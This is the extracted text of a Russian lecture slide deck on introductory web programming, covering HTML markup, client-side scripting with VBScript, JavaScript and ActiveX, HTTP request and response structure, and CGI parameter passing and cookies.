web_programmirovanie.ppt
- Количество слайдов: 111
ВВЕДЕНИЕ В WEBПРОГРАММИРОВАНИЕ WEB СТРАНИЦА
WEB-СТРАНИЦА Web-страница (англ. Web page) — гипертекстовый ресурс Всемирной паутины, обычно написанный на языке HTML. Web-страница может содержать ссылки для быстрого перехода на другие страницы, а также статические и динамические изображения. Web - браузер - программа, демонстрирующая web-страницу. Кроме текста и изображений, web-страница может содержать медиа файлы, например звуковые файлы и видео, апплеты, а такжеbскрипты (Java. Script, VBScript), позволяющие делать содержание страницы динамическим. Контент - информационно значимое содержимое web-страницы обычно называется. Несколько Web-страниц, объединенных общей темой и дизайном, а также связанных между собой ссылками, и обычно находящихся на одном web-сервере, образуют Web-сайт. Обычно файл web-страницы имеет расширение. html или. htm.
СТРУКТУРА WEB-СТРАНИЦЫ В элементе title находится <html> название Web-страницы <head> <title> Название Web-страницы </title> В body включаются абзацы, </head> заголовки и другие блочные и линейные элементы. <body> Информация на Web-странице </body> </html>
<title> Название Web-страницы </title>
<body> Информация на Web-странице </body>
HTML - код страницы
Теги форматирования шрифта Парные теги <b></b> - bold - полужирное начертание <i></i> - italic - курсив <u></u> - underline – подчёркнутое Теги могут применяться как по отдельности, так и в комбинации друг с другом <b> <i> </b> - полужирный курсив
Теги форматирования шрифта Непарные теги <font size=… > - размер шрифта <font color=#. . . > - цвет шрифта <i></i> <font face=“…”> - гарнитура шрифта Все три параметра – размер, гарнитура, цвет - могут содержаться в одном теге <font size=… face=“…” color=#. . . >
Форматирование абзаца <p> - параграф – начало абзаца </p> - закрывающий тег тоже возможен, но на практике его не используют Выравнивание текста внутри абзаца <p align=“left”> - выравнивание по левому краю <i></i> <p align=“right> - выравнивание по правому краю <p align=“center”> выравнивание по центру <p align=“justify”> выравнивание по обоим краям Каждый новый абзац будет отделяться от предыдущего пробелом. Форматирование нового абзаца отменяет форматирование предыдущего. - разрыв строки внутри абзаца
Рисунки на Web-страницах Риснуки на web-страницах – этот не только фотографии и иллюстрации к содержимому, но и необычные заголовки, нарисованные шрифты, кнопки и т. д. <img src=…. . > - вставка картинки из указанного места <img src=phiz. jpg> - вставка картинки из директории (папки), где находится сама web-страница. <img src=C: Documents and SettingsMAGРабочий столphiz. jpg> - вставка картинки из директории ии произвольной директории (папки) <img src=http: //www. raska. ru/newyear/2002 -5 bw. htm > вставка картинки из интернета с сервера raska. ru
По умолчанию текст не обтекает картинку
Расположение рисунка на Web-страницах Обтекание картинок текстом < img src=phiz. jpg align=“left”> - выравнивание по левому краю < img src=phiz. jpg align=“right> - выравнивание по правому краю < img src=phiz. jpg align=“center”> выравнивание по центру
Расположение рисунка на Web-страницах Вертикальные и горизонтальные поля вокруг рисунка < img src=phiz. jpg align=“left” vspace=“ 10”> - вертикальные поля < img src=phiz. jpg align=“right hspace=“ 10”> горизонтальные поля Задание размеров отображения рисунка < img src=phiz. jpg align=“left” width=“ 100” hight=“ 50”> ширина 100, высота 50
ОСНОВНЫЕ ЦВЕТА Название Код RGB Имя Цвет черный #000000 black серебряный #C 0 C 0 C 0 silver темно бордовый #800000 maroon красный #FF 0000 red зеленый #008000 green известь #00 FF 00 lime оливковый #808000 olive желтый #FFFF 00 yellow темно синий #000080 navy синий #0000 FF blue фиолетовы й #800080 purple фуксия #FF 00 FF fuchsia чирок #008080 teal аква #00 FFFF aqva серый #808080 gray белый #FFFFFF white
СОЗДАНИЕ ФОНА • Цвет фона задает слово BGCOLOR. Пример: <HTML> <HEAD> <TITLE>Название страницы</TITLE> </HEAD> <BODY BGCOLOR= #FFFF 00> Прежде всего, позвольте представиться. </BODY> </HTML>
СОЗДАНИЕ ФОНА • Командное слово BACKGROUND подключает эту картинку в качестве фона и указывает на то, где лежит фоновая картинка. <HTML> <HEAD> <TITLE>Название страницы</TITLE> </HEAD> <BODY BACKGROUND="Приложение 115. jpg"> Прежде всего, позвольте представиться. </BODY> </HTML>
СОЗДАНИЕ НУМЕРОВАННОГО СПИСКА Пронумерованный список пишется в теге OL. Тегом LI определяется элемент списка. В пронумерованном списке нумерация происходит автоматически. Атрибуты тега OL: • TYPE вид счетчика: • A большие латинские буквы, • a маленькие латинские буквы, • I большие римские цифры, • i маленькие римские цифры, • 1 обычные цифры.
СОЗДАНИЕ НУМЕРОВАННОГО СПИСКА <OL TYPE=I> <LI>Микки Маус</LI> <LI>Уолт Дисней</LI> <LI>Мои друзья</LI> </OL>.
ССЫЛКА НА ДРУГОЙ ДОКУМЕНТ. • <A HREF="имя файла"> Текст, который будет служить как обращение к другому документу</A>. • URL адрес может быть абсолютным и относительным.
АБСОЛЮТНЫЙ АДРЕС • Абсолютный адрес документа, находящегося на локальном компьютере, будет включать в себя путь файла и имя файла, например: HREF=file: //D: IVANOVAIvanova. HTM • Абсолютный адрес документа, находящегося на удаленном компьютере в Интернете, будет включать имя сервера интернета, путь файла и имя файла, например: HREF="http: //omsu. omskreg. ru"
ОТНОСИТЕЛЬНЫЙ URL-АДРЕС Указывает на местонахождение документа относительно того документа, в котором находится ссылка. Например, если файл вызываемого документа находится в том же каталоге, что и файл из которого он вызывается, то можно указывать только имя файла: HREF="Ivanova. HTM"
ВВЕДЕНИЕ В WEBПРОГРАММИРОВАНИЕ ЯЗЫК HTML.
ЯЗЫК HTML. За последние годы разработки для Интернета эволюционировали от статических страниц до динамических информационных систем. Некоторое время назад создание современных Web страниц не требовало практически ничего, кроме совершенного владения языком разметки гипертекста (Hypertext Markup Language, HTML). HTML представляет собой простой язык обработки текстов; на этом языке при помощи набора тегов (tags) создается документ, который можно просматривать специальной программой просмотра Web (browser).
HTML — БЕДНЫЙ ЯЗЫК С ТОЧКИ ЗРЕНИЯ ПРОГРАММИРОВАНИЯ. 1. Гиперссылки (hyperlinks) — эти подчеркнутые и выделенные голубым цветом слова, которые Вы щелкаете, чтобы перейти к другой странице. Гиперссылка — это, по сути, обла гороженный оператор перехода. GOTO, обеспечивающий переход к жестко указанному месту приложения. Об операторе GOTO и его недостатках написана масса статей. Жестко закоди рованные ссылки порождают код, который очень трудно сопровождать, и если вы когда либо писали HTML код, то знаете, как трудно его повторно использовать и модифицировать.
HTML — БЕДНЫЙ ЯЗЫК С ТОЧКИ ЗРЕНИЯ ПРОГРАММИРОВАНИЯ. 2. HTML не предоставляет никакой реальной возможности сохранять данные в процессе работы приложения. Да и вообще, в этом случае трудно даже говорить о приложении в Web. Когда каждая страница представляет собой лишенную состояния транзакцию с серве ром, как вообще можно определить, где приложение начинается и где заканчивается? Сравните это с типичным клиент серверным приложением, о начале работы которого сигнализирует двойной щелчок значка на рабочем столе, а о конце — выбор пункта Exit в меню File.
HTML — БЕДНЫЙ ЯЗЫК С ТОЧКИ ЗРЕНИЯ ПРОГРАММИРОВАНИЯ. 3. у HTML очень ограниченные возможности для взаимодействия. Стандартный HTML довольствуется статическими Web страницами с текстом, рисунками и ссылками на другие страницы. Подобные узлы называют Желтыми Страницами WWW (World Wide Yellow Pages), так как их формат очень напоминает страницы телефонной книги.
HTML-ФОРМА, КОТОРАЯ СОДЕРЖИТ ТЕКСТОВЫЕ ПОЛЯ ВВОДА ДЛЯ ИМЕНИ, НОМЕРА ТЕЛЕФОНА И АДРЕСА ЭЛЕКТРОННОЙ ПОЧТЫ. <HTML> <HEAD> <TITLE>Simple HTML Form</TITLE> </HEAD> <B 0 DY BGCOLOR="WHITE"> <FORM> <INPUT TYPE="TEXT" NAME="txt. Name">Имя<P> <INPUT TYPE="TEXT" NAME="txt. Phone">Телефон<Р> <INPUT TYPE="TEXT" NAME="txt. EMail">Адрес электронной почты<Р> </FORM> </BODY> </HTML>
ВВЕДЕНИЕ В WEBПРОГРАММИРОВАНИЕ НА СТОРОНЕ КЛИЕНТА.
ПРОГРАММИРОВАНИЕ НА СТОРОНЕ КЛИЕНТА. В своих первых попытках повысить интерактивность HTML Web страниц разработчики обратились к сценариям (scripting), добавляя функциональность путем комбинирования языка программирования с HTML. В результате зачастую получается странный гибрид кода и тегов, что вынуждает разработчиков вернуться к текстовым редакторам. Был введен специальный тег <SCRIPT>, который определяет раздел кода на Web странице.
КОД НА VBSCRIPT, ВЫВОДЯЩИЙ «HELLO, WORLD!» . <HTML><HEAD> <META HTTP EQUIV="Content Type content=text/html, charset=windows 1251"> <TITLE>Yet Another Hello, World! Example</TITLE> <SCRIPT LANGUAGE="VBScript”> <! Sub cmd. Click. Me_On. Click() Msg. Box "Hello, World!" End Sub > </SCRIPT> </HEAD> <BODY BGCOLOR= WHITE > <FORM> <INPUT TYPE= BUTTON NAME= cmd. Click. Me VALUE="Click Me!”> </FORM></BODY></HTML>
VBSCRIPT VBScript представляет собой язык описания сценариев, в основе которого лежит Visual Basic for Applications (VBA), популярный язык, применяемый, например, в Microsoft Office 97. VBScript не поддерживает типы данных: все переменные объявляются как Variant. Как и его старший брат, VBA, язык VBScript управляется событиями. Это означает, что написанный Вами код выполняется в ответ на событие (event), возникшее в результате взаимодействия пользователя с графическим интерфейсом (graphical user interface, GUI). В нашем случае GUI представляет собой Web страницу.
VBSCRIPT В приведенном выше примере, когда пользователь взаимодействует с GUI, нажимая кнопку «Click Me!» , это действие вызывает событие On. Click. Это событие, в свою очередь, обрабатывается кодом на VBScript, организованным в виде процедуры обработки события. Имена таких процедур имеют вид Имя. Элемента. Управления_Имя. События, представляя собой произвольные комбинации из имен элементов управления и событий.
Хотя сценарии и представляют собой шаг вперед в развитии интерактивности, у них есть и определенные ограничения. Например, не все программы просмотра распознают и обрабатывают сценарии, а те, которые это делают, используют разные языки. Главным образом это касается Netscape Navigator, который не распознает VBScript, однако работает с Java. Script — языком описания сценариев, первоначально разработанным для Netscape Navigator.
JAVASCRIPT По функциональности Java. Script очень похож на VBScript, но по синтаксису эти языки сильно различаются. В отличие от VBScript, Java. Script не поддерживает концепцию процедур обработки событий. Все процедуры в Java. Script — это функции, вызываемые при помощи атрибутов событий, расположенных в HTML теге.
КОД НА JAVASCRIPT, ВЫВОДЯЩИЙ «HELLO, WORLD!» <HTML><HEAD> <META HTTP EQUIV="Content Type" content="text/html; charset=windows 1251"> <TITLE>Java. Script Hello, World! Example</TITLE> <SCRIPT LANGUAGE="Java. Script"> <! function clickme() { alert("Hello, World!"); return true; } > </SCRIPT> </HEAD><BODY BGCOLOR="WHITE"> <FORM> <INPUT TYPE="BUTTON" NAME="cmd. Click. Me" VALUE="Click. Me!" On. Click="var rtn=clickme(); "> </FORM> </BODY> </HTML>
Как только к возможностям программ просмотра добавляются сценарии, возрастает сложность клиентской платформы. Очевидно также, что раз отсутствует универсальный язык описания сценариев, то теряются все разрекламированные преимущества платформенной независимости Web. Для многих Web мастеров и разработчиков постоянная война между программами просмотра за преобладание на рынке создает необходимость поддерживать две версии Web узла: для Microsoft Internet Explorer и для Netscape Navigator.
КОМПОНЕНТЫ ACTIVEX Компоненты Active. X варьируются от причудливых элементов управления, таких как движки (spinners), до невизуальных компонентов, обеспечивающих доступ к базам данных или электронной почте. Подобные компоненты делают страницы в Internet Explorer более функциональными и привлекательными, но практически бесполезными в среде, не поддерживающей Active. X, например, в Netscape Navigator. Компонент Active. X добавляется в Web страницу при помощи тега <OBJECT>, однозначно определяющего компонент для программы просмотра.
ПОМЕЩАЕМ НА WEB-СТРАНИЦУ ЭЛЕМЕНТ УПРАВЛЕНИЯ ACTIVEX — МЕТКУ (LABEL). <OBJECT ID="Label 1" WIDTH=291 HEIGHT=41 CLASSID="CLSID: 978 C 9 E 23 D 4 B 0 11 CE BF 2 D 00 AA 003 F 40 D 0" CODEBASE="http: //www. microsoft. com/activex/controls/FM 20. DLL"> <PARAM NAME="Fore. Color" VALUE="65408"> <PARAM NAME="Various. Property. Bits" VALUE="276824091"> <PARAM NAME="Caption" VALUE="Щелкни меня!"> <PARAM NAME="Size" VALUE="7691; 1094"> <PARAM NAME="Special. Effect" VALUE="1"> <PARAM NAME="Font. Effects" VALUE="1073741827"> <PARAM NAME="Font. Height" VALUE="480"> <PARAM NAME="Font. Char. Set" VALUE="204"> <PARAM NAME="Paragraph. Align" VALUE="3"> <PARAM NAME="Font. Weight" VALUE="700"> </OBJECT>
КОМПОНЕНТЫ ACTIVEX Когда Internet Explorer обнаруживает тег <OBJECT>, он обращается к реестру и ищет там GUID, совпадающий со значением атрибута CLASSID. Когда такой GUID найден, из реестра выбирается дополнительная информация, позволяющая отыскать файл, который соответствует данному элементу управления Active. X. В теге <OBJECT> можно выделить несколько ключевых составных частей, которые определяют, как именно компонент Active. X будет размещен на странице. Атрибут ID задает имя элемента управления, посредством которого ко всем его свойствам, методам и событиям можно будет получить доступ из текста сценария.
КОМПОНЕНТЫ ACTIVEX CLASSID представляет собой буквенно цифровой код, который однозначно идентифицирует данный компонент Active. X среди всех остальных. Этот код, известный как глобально уникальный идентификатор, не использует больше ни один компонент Active. X. При помощи GUID Internet Explorer однозначно определяет требуемый компонент и создает его на странице. Если нужный элемент управления Active. X на клиентской машине отсутствует, Internet Explorer обращается к атрибуту CODEBASE за информацией о том, где находится этот элемент на сервере. Следуя этой информации, файлы данного элемента управления загружаются с сервера, и элемент устанавливается на клиентской машине.
КОМПОНЕНТЫ ACTIVEX Доступ к компонентам Active. X посредством тега <OBJECT> не ограничивается элементами управления. Этот тег может активизировать произвольный компонент Active. X, в том числе и те компоненты, которые можно написать на языках Visual Basic, C++ и Microsoft Fox. Pro. Окончательное обеспечение компонента данными происходит через тег <PARAM>, имеющий атрибуты NAME и VALUE, при помощи которых задаются начальные значения свойств данного компонента, когда он впервые создается на Web странице. После того, как начальные значения установлены, значения свойств легко изменить во время выполнения из текста сценария.
КОМПОНЕНТЫ ACTIVEX <SCRIPT LANGUAGE="VBScript"><! Sub Label 1_Dbl. Click(Cancel) Label 1. Font. Weight=24 Label 1. Caption="Щелкни снова!" end sub Sub Label 1_Click() Label 1. Auto. Size = false Label 1. Font. Weight = 30 Label 1. Caption="Еще два раза!!!!!" Label 1. Special. Effect=1 end sub > </SCRIPT>
JAVA Апплеты, разработанные на Java при помощи таких средств, как Microsoft J++, во многом напоминают компоненты Active. X: это самодостаточные, загружаемые фрагменты Web страницы. Так же, как и у компонентов Active. X, у апплетов имеется свой особый тег — <APPLET>, который дает программе просмотра указание загрузить код на Java и выполнить его. Нижеследующий код исполняет апплет на Web странице: <APPLET CODE="DBLBULB. CLASS" HEIGHT=35 WIDTH=26> </APPLET>
JAVA Атрибут CODE тега <APPLET> идентифицирует исходный код апплета Java практически так же, как атрибут CODEBASE определяет источник для компонента Active. X. У апплетов могут также быть теги <PARAM>, задающие начальные значения. Во многих случаях апплеты представляют собой функциональные эквиваленты элементов управления Active. X. Во всяком случае, языки описания сценариев могут обращаться к открытым функциям апплетов точно так же, как они обращаются к методам компонентов Active. X.
DYNAMIC HTML Dynamic (динамический) HTML, который позволяет посредством сценариев программно изменять теги. В Dynamic HTML определяется набор событий, которые можно ассоциировать с тегами HTML. Это расширяет парадигму VBScript управляемости событиями на все элементы Web страницы — теги HTML, элементы управления Active. X; даже программа просмотра сама по себе обладает определенными событиями.
КОД ИЗ ЛИСТИНГА 1. 5 ПРИ ПОМОЩИ VBSCRIPT ОПРЕДЕЛЯЕТ, КОГДА УКАЗАТЕЛЬ МЫШИ НАХОДИТСЯ ПОВЕРХ КАКОГО-ТО УЧАСТКА ТЕКСТА WEB-СТРАНИЦЫ, И ИЗМЕНЯЕТ РАЗМЕР И ЦВЕТ ТЕКСТА. <HTML><HEAD> <META HTTP EQUIV="Content Type"content="text/html; charset=windows 1251"> <TITLE>Dynamic HTML</TITLE> <SCRIPT LANGUAGE="VBScript"> Function My. Font_On. Mouse. Over() My. Font. Color = "Red" My. Font. Size = "5" End Function My. Font_On. Mouse. Out() My. Font. Color = "Blue" My. Font. Size = "4" End Function </SCRIPT> </HEAD> <BODY BGCOLOR="WHITE"> <FONT ID="My. Font" FACE="ARIAL" SIZE="4" COLOR="BLUE"> Эй, укажи ка сюда мышкой! </BODY></HTML>
ПРОГРАММИРОВАНИЕ НА СТОРОНЕ СЕРВЕРА WEB ПРОГРАММИРОВАНИЕ. ТЕМА № 2
ПРОГРАММИРОВАНИЕ НА СТОРОНЕ СЕРВЕРА
ПРОТОКОЛ HTTP. Работа по протоколу HTTP происходит следующим образом: программа клиент устанавливает TCP соединение с сервером (стандартный номер порта 80) и выдает ему HTTP запрос. Сервер обрабатывает этот запрос и выдает HTTP ответ клиенту.
СТРУКТУРА HTTP-ЗАПРОСА. HTTP запрос состоит из заголовка запроса и тела запроса, разделенных пустой строкой. Тело запроса может отсутствовать. Заголовок запроса состоит из главной (первой) строки запроса и последующих строк, уточняющих запрос в главной строке. Последующие строки также могут отсутствовать. Запрос в главной строке состоит из трех частей, разделенных пробелами: 1. Метод (иначе говоря, команда HTTP) 2. Ресурс 3. Версия протокола
МЕТОД • GET запрос документа. Наиболее часто употребляемый метод; в HTTP/0. 9, говорят, он был единственным. • HEAD запрос заголовка документа. Отличается от GET тем, что выдается только заголовок запроса с информацией о документе. Сам документ не выдается. • POST этот метод применяется для передачи данных CGI скриптам. Сами данные следуют в последующих строках запроса в виде параметров. • PUT разместить документ на сервере. Используется редко. Запрос с этим методом имеет тело, в котором передается сам документ.
РЕСУРС Ресурс это путь к определенному файлу на сервере, который клиент хочет получить (или разместить для метода PUT). Если ресурс просто какой либо файл для считывания, сервер должен по этому запросу выдать его в теле ответа. Если же это путь к какому либо CGI скрипту, то сервер запускает скрипт и возвращает результат его выполнения. Кстати, благодаря такой унификации ресурсов для клиента практически безразлично, что он представляет собой на сервере.
ВЕРСИЯ ПРОТОКОЛА Версия протокола версия протокола HTTP, с которой работает клиентская программа. Таким образом, простейший HTTP запрос может выглядеть следующим образом: GET / HTTP/1. 0 запрашивается корневой файл из корневой директории web сервера. Строки после главной строки запроса имеют следующий формат: Параметр: значение. Таким образом задаются параметры запроса. Это является необязательным, все строки после главной строки запроса могут отсутствовать; в этом случае сервер принимает их значение по умолчанию или по результатам предыдущего запроса (при работе в режиме Keep Alive).
НАИБОЛЕЕ УПОТРЕБИТЕЛЬНЫЕ ПАРАМЕТРЫ HTTP-ЗАПРОСА • Connection (соединение) может принимать значения Keep Alive и close. • Keep Alive ("оставить в живых") означает, что после выдачи данного документа соединение с сервером не разрывается, и можно выдавать еще запросы. Большинство браузеров работают именно в режиме Keep Alive, так как он позволяет за одно соединение с сервером "скачать" html страницу и рисунки к ней. Будучи однажды установленным, режим Keep Alive сохраняется до первой ошибки или до явного указания в очередном запросе Connection: close. • close ("закрыть") соединение закрывается после ответа на данный запрос.
НАИБОЛЕЕ УПОТРЕБИТЕЛЬНЫЕ ПАРАМЕТРЫ HTTP-ЗАПРОСА • User Agent значением является "кодовое обозначение" браузера, например: Mozilla/4. 0 (compatible; MSIE 5. 0; Windows 95; Dig. Ext) • Accept список поддерживаемых браузером типов содержимого в порядке их предпочтения данным браузером, например, для IE 5: Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd. ms-excel, application/msword, application/vnd. ms-powerpoint, */*. Значение этого параметра используется в основном CGI скриптами для формирования ответа, адаптированного для данного браузера.
НАИБОЛЕЕ УПОТРЕБИТЕЛЬНЫЕ ПАРАМЕТРЫ HTTP-ЗАПРОСА • Referer URL, с которого перешли на этот ресурс. • Host имя хоста, с которого запрашивается ресурс. Полезно, если на сервере имеется несколько виртуальных серверов под одним IP адресом. В этом случае имя виртуального сервера определяется по этому полю. • Accept Language поддерживаемый язык. Имеет значение для сервера, который может выдавать один и тот же документ в разных языковых версиях.
ФОРМАТ HTTP-ОТВЕТА. Формат ответа очень похож на формат запроса: он также имеет заголовок и тело, разделенное пустой строкой. Заголовок также состоит из основной строки и строк параметров, но формат основной строки отличается от таковой в заголовке запроса. Основная строка запроса состоит из 3 х полей, разделенных пробелами
ОСНОВНАЯ СТРОКА ЗАПРОСА СОСТОИТ ИЗ ПОЛЕЙ: • Версия протокола аналогичен соответствующему параметру запроса. • Код ошибки кодовое обозначение "успешности" выполнения запроса. Код 200 означает "все нормально" (OK). • Словесное описание ошибки "расшифровка" предыдущего кода. Например, для 200 это OK, для 500 Internal Server Error.
НАИБОЛЕЕ УПОТРЕБИТЕЛЬНЫЕ ПАРАМЕТРЫ HTTP-ОТВЕТА • Connection аналогичен соответствующему параметру запроса. Если сервер не поддерживает Keep Alive (есть и такие), то значение Connection в ответе всегда close. • Content Type ("тип содержимого") содержит обозначение типа содержимого ответа. • Content Length ("длина содержимого") длина содержимого ответа в байтах. • Last Modified ("Модифицирован в последний раз") дата последнего изменения документа.
CONTENT-TYPE • В зависимости от значения Content Type браузер воспринимает ответ как HTML страницу, картинку gif или jpeg, как файл, который надо сохранить на диске, или как что либо еще и предпринимает соответствующие действия. Значение Content Type для браузера аналогично значению расширения файла для Windows.
НЕКОТОРЫЕ ТИПЫ СОДЕРЖИМОГО • text/html текст в формате HTML (веб страница); • text/plain простой текст (аналогичен "блокнотовскому"); • image/jpeg картинка в формате JPEG; • image/gif то же, в формате GIF; • application/octet stream поток "октетов" (т. е. просто байт) для записи на диск.
CGI ТЕМА 2. ПРОГРАММИРОВАНИЕ НА СТОРОНЕ СЕРВЕРА
CGI • CGI это набор правил, согласно которым программы на сервере могут через веб сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы. • Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI программы.
РАСПРОСТРАНЕННЫЕ ПРИЛОЖЕНИЯ CGI ВКЛЮЧАЮТ В СЕБЯ: • Динамический HTML. Целые сайты могут генерироваться одной CGI программой. • Поисковые механизмы, находящие документы с заданными пользователем словами. • Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения. • Бланки заказов. • Анкеты. • Извлечение информации из размещенной на сервере базы данных. Все они дают возможность соединения CGI с базой данных, что нас особенно интересует.
СПЕЦИФИКАЦИЯ CGI Есть четыре способа, которыми CGI передает данные между CGI программой и веб сервером, а следовательно, и клиентом Web: • Переменные окружения. • Командная строка. • Стандартное устройство ввода. • Стандартное устройство вывода. С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI программе. Затем CGI программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.
CGI Когда CGI программа вызывается посредством формы наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI программе через переменную окружения PATH_INFO http: //www. myserver. com/cgi bin /formread название программы /extra/information ? choice=help информация пути о строка запроса
CGI После информации пути следует символ «? » , а за ним данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI программе через переменную окружения QUERY_STRING. Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI программе через стандартное устройство ввода
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ Когда сервер выполняет CGI программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше с помощью описыва емого ниже механизма, называемого HTTP_mechanism. CGI программа имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки.
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ В сценарии командного процессора, например, к переменной окруже ния. FOO можно обращаться как $FOO; в Perl это обращение выглядит, как $ENV{'FOO'}; в С getenv("FOO"); и т. д. В таблице перечислены переменные, которые всегда устанавливаются сервером хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_FOO, где FOO имя заголовка. Например, большинство веб браузеров включает данные о версии в заголовок с именем USER_AGENT. Ваша CGI программа может получить эти данные из переменной HTTP_USER_AGENT.
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ CGI Переменная окружения Описание CONTENT LENGTH Длина данных, переданных методами POST или PUT, в байтах CONTENT_TYPE Тип MIME данных, присоединенных с помощью методов POST или PUT. GATEWAY_INTERFACE Номер версии спецификации CGI, поддержива емой сервером. PATH_INFO Дополнительная информация пути, переданная клиентом. Например, для запроса http: //www. myserver. com/test. cgi/this/is/a/ path? field=green значением переменной РАTH_INFO будет /this/is/a/path. PATH_TRANSLATED То же, что PATH_INFO, но сервер производит всю возможную трансляцию, например, расширение имен типа «~account» . QUERY_STRING Все данные, следующие за символом «? » в URL. Это также данные, передаваемые, когда REQUEST_METOD формы есть GEТ. REMOTE_ADDR IP адрес клиента, делающего запрос.
ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ CGI Переменная окружения Описание REMOTE_HOST REMOTE_IDENT REQUEST_METHOD SCRIPT_NAME SERVER_PORT SERVER_PROTOCOL SERVER_SOFTWARE Имя узла машины клиента, если оно доступно. Если веб сервер и клиент поддерживают идентификацию типа identd, то это имя пользователя учетной записи, которая делает запрос. Метод, используемый клиентом для запроса. Для CGI программ, которые мы собираемся создавать, это обычно будет POST или GET. Путь к выполняемому сценарию, указанный клиентом. Может использоваться при ссылке URL на самого себя, и для того, чтобы сценарии, ссылки на которые существуют в разных мес тах, могли выполняться по разному в зависимости от места. Имя узла или IP адрес, если имя недоступно, машины, на которой выполняется веб сервер. Номер порта, используемого веб сервером. Протокол, используемый клиентом для связи с сервером. В нашем случае этот протокол почти всегда HTTP. Данные о версии веб сервера, программу. выполняющего CGI
ВЫВОД ЗНАЧЕНИЙ ПЕРЕМЕННЫХ ОКРУЖЕНИЯ. Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, установленные командным процессором, запустившим сервер. print "Content Type: text/htmlnn <HTML><HEAD><TITLE></title></head><BODY>n <p>Переменные окружения: <p>n"; foreach (keys %ENV) {print "$_: $ENV{$_} n" } print "</body></html>";
ПЕРЕДАЧА ПАРАМЕТРОВ СЕРВЕРУ. ТЕМА 2. ПРОГРАММИРОВАНИЕ НА СТОРОНЕ СЕРВЕРА
КОМАНДНАЯ СТРОКА CGI допускает передачу CGI программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа « = » , то CGI программа будет выполняться с параметрами командной строки, взятыми из OUERY_STRING. Например, http: //www. myseruer. com/cgi bin/finger? root запустит finger root на www. myserver. com.
КОМАНДНАЯ СТРОКА Параметры командной строки чаще всего используются вместе с тегом HTML <ISINDEX>. Тег <ISINDEX> обозначает миниформу, содержащуюся в одном теге. Обнаружив тег <ISINDEX> , броузер выводит окно, в которое пользователь может ввести текст запроса. При подаче запроса (нажатии пользователем клавиши «Enter» ), броузер извлекает URL из тега <ISINDEX> и обращается к нему, передавая текст запроса в качестве командной строки. Предшествующий finger можно написать так, что при вызове без аргументов он выведет HTML страницу с тегом <ISINDEX>. После ввода пользователем адреса finger исполнится так же, как описано.
СТАНДАРТНОЕ УСТРОЙСТВО ВВОДА. Если клиент использует для передачи информации HTTP методы PUT или POST, длина и тип MIME этих данных помещаются в переменные CONTENT_LENGTH и CONTENT_TYPE соответственно. Передаваемые данные посылаются на стандартное устройство ввода CGI программы. Признак конца данных может не посылаться программе, поэтому она должна взять значение переменной CONTENT_LENGTH и прочесть столько байтов, сколько в ней указано. Это основной метод передачи данных из форм, и в наших примерах мы будем почти исключительно использовать только его.
СТАНДАРТНОЕ УСТРОЙСТВО ВВОДА. Существуют многочисленные библиотеки почти для всех языков, которые выполняют важные задачи настройки CGI программ, в том числе определяют, каким методом GET или POST — переданы данные, и, соответственно, разбирают переменную окружения QUERY_STRING или читают с устройства стандартного ввода. Затем эти библиотеки поме щают данные в легко доступные переменные. Обширный список ресурсов CGI для разных языков есть на Yahoo по адресу: http: //www. yahoo. com/Computers_and_Internet/Internet /World_Wide_Web/CGI_Common_Gateway_Interface/
СТАНДАРТНОЕ УСТРОЙСТВО ВЫВОДА. Данные, посылаемые CGI программой на стандартное устройство вывода, читаются веб сервером и отправляются клиенту. Если имя сценария начинается с nph , то данные посылаются прямо клиенту без вмешательства со стороны веб сервера. В этом случае CGI программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб серверу сформировать HTTP заголовок. Даже если вы не используете nph сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP заголовок Content Type , но может быть и заголовок Location. За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.
СТАНДАРТНОЕ УСТРОЙСТВО ВЫВОДА. Заголовок Content Type сообщает серверу, какого типа данные выдает ваша CGI программа. Если это страница HTML, то строка должна быть Content Type: text/html. Заголовок Location сообщает серверу другой URL или другой путь на том же сервере, куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http: // www. myserver. com/another/place/. После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой страницу HTML, изображение, текст или что либо еще. Среди CGI программ, поставляемых с сервером Apache, есть nph test cgi и test cgi, которые хорошо де монстрируют разницу между заголовками в стилях nph и не nph, соответственно.
ЗАПОМИНАНИЕ СОСТОЯНИЯ Клиент посылает данные серверу, сервер возвращает данные клиенту, и не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие либо данные, которые можно будет использовать позднее. В части клиента появилось решение под названием cookies. Оно состоит в создании нового HTTP заголовка, который можно пересылать туда сюда между клиентом и сервером. Браузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот соokie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI программах на этом сервере.
